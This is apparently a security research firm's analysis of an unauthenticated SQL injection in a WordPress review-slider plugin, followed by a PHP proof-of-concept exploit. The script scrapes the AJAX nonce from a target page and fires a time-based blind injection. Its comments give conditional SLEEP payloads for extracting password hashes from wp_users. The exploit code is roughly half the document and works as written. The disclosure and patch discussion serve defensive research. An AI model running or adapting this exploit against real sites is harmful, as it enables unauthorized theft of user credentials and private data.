Atomic Edge analysis of CVE-2026-8441 (metadata-based):
This vulnerability allows an unauthenticated SQL injection attack through the ‘notinstring’ parameter passed to the wprp_load_more_revs AJAX action in the WP Review Slider Pro plugin, versions up to and including 12.7.2. The CVSS score is 7.5 (High), with network attack vector, low complexity, no privileges required, and high confidentiality impact.
The root cause is improper neutralization of the ‘notinstring’ input. The plugin uses sanitize_text_field() to clean the value, which only removes HTML and whitespace but does not protect against SQL injection. The sanitized value is then directly concatenated into an SQL query within an unquoted IN clause: “AND id NOT IN (…)”. Because the value is not quoted, WordPress’s automatic escaping (which only escapes quotes) does not help. Atomic Edge analysis infers this pattern from the CWE-89 classification and the description. The vulnerable code likely resides in a callback function registered via add_action(‘wp_ajax_nopriv_wprp_load_more_revs’, …) without privilege checks.
Exploitation requires sending a POST request to /wp-admin/admin-ajax.php with action=wprp_load_more_revs and a crafted notinstring parameter. The nonce required for the request is exposed via wp_localize_script on any frontend page that renders the plugin shortcode. An attacker can retrieve this nonce from the page source. The injected SQL payload must be blind or time-based because the result set is not directly displayed. For example: notinstring=1) OR (SELECT SLEEP(5))– . The attacker can extract data character by character using conditional delays.
Patched version 12.7.3 likely switches to using $wpdb->prepare() with a placeholder, or explicitly casts each value in the array to int. The fix must ensure that all values passed to the IN clause are properly parameterized or safely cast as integers, not directly concatenated into the query string.
Successful exploitation allows an unauthenticated attacker to read arbitrary data from the WordPress database. This includes user credentials (hashed passwords), user emails, session tokens, private post content, and other sensitive configuration data. Depending on the database permissions, the attacker might also be able to read files from the server or even gain remote code execution through writing files, though CVE-2026-8441’s official impact is limited to confidentiality.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8441 - WP Review Slider Pro <= 12.7.2 - Unauthenticated SQL Injection via 'notinstring' Parameter
// Target WordPress site URL (change to the target)
$target_url = 'https://example.com';
// Step 1: Retrieve the nonce from the frontend page that uses the plugin shortcode
// The plugin exposes the nonce via wp_localize_script, typically as an object like wprp_ajax_obj.nonce
// Adjust the page path if necessary (e.g., '/some-page-with-shortcode/')
$page_url = $target_url . '/?p=1'; // Replace with a known page containing the shortcode
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $page_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
]);
$response = curl_exec($ch);
curl_close($ch);
// Extract nonce using regex (common pattern: "nonce":"..." or wprp_nonce = '...')
preg_match('/"nonce":"([a-f0-9]+)"/i', $response, $matches);
if (empty($matches[1])) {
preg_match("/wprp_nonces*=s*'([a-f0-9]+)'/i", $response, $matches);
}
if (empty($matches[1])) {
die("Failed to retrieve nonce. Ensure the target page includes the plugin shortcode.n");
}
$nonce = $matches[1];
echo "[+] Found nonce: $noncen";
// Step 2: Perform blind SQL injection via time-based payload
// The vulnerable parameter is 'notinstring', injected into an unquoted IN clause
// Payload: close the IN list and inject a SLEEP if the condition is true
// Example: 1) OR IF((SELECT SUBSTRING(user_pass,1,1) FROM wp_users LIMIT 1)='$char', SLEEP(5), 0) --
// This PoC demonstrates detection by waiting 5 seconds
// Time-based test payload
$time_based_payload = "1) OR (SELECT SLEEP(5))-- "; // note trailing space to comment out rest of query
$post_data = [
'action' => 'wprp_load_more_revs',
'nonce' => $nonce,
'notinstring' => $time_based_payload
];
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_data),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => false,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_TIMEOUT => 10, // allow up to 10 seconds for time-based sleep
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36'
]);
$start = microtime(true);
$response = curl_exec($ch);
$end = microtime(true);
curl_close($ch);
$duration = $end - $start;
if ($duration >= 4.5) {
echo "[!] SQL injection confirmed: request took {$duration} seconds (time-based delay).n";
echo "[!] The payload triggered a sleep. The vulnerability exists.n";
} else {
echo "[-] No time delay detected (duration: {$duration}s). The target may be patched or unreachable.n";
echo "[-] Note: actual blind extraction would use conditional SLEEP to enumerate data.n";
}
// For full extraction, iterate through characters using binary search or substrings
// Example: ?notinstring=1) OR (SELECT IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users LIMIT 1)>64, SLEEP(3), 0))--
echo "n[*] PoC complete. For data extraction, use time-based conditional queries.n";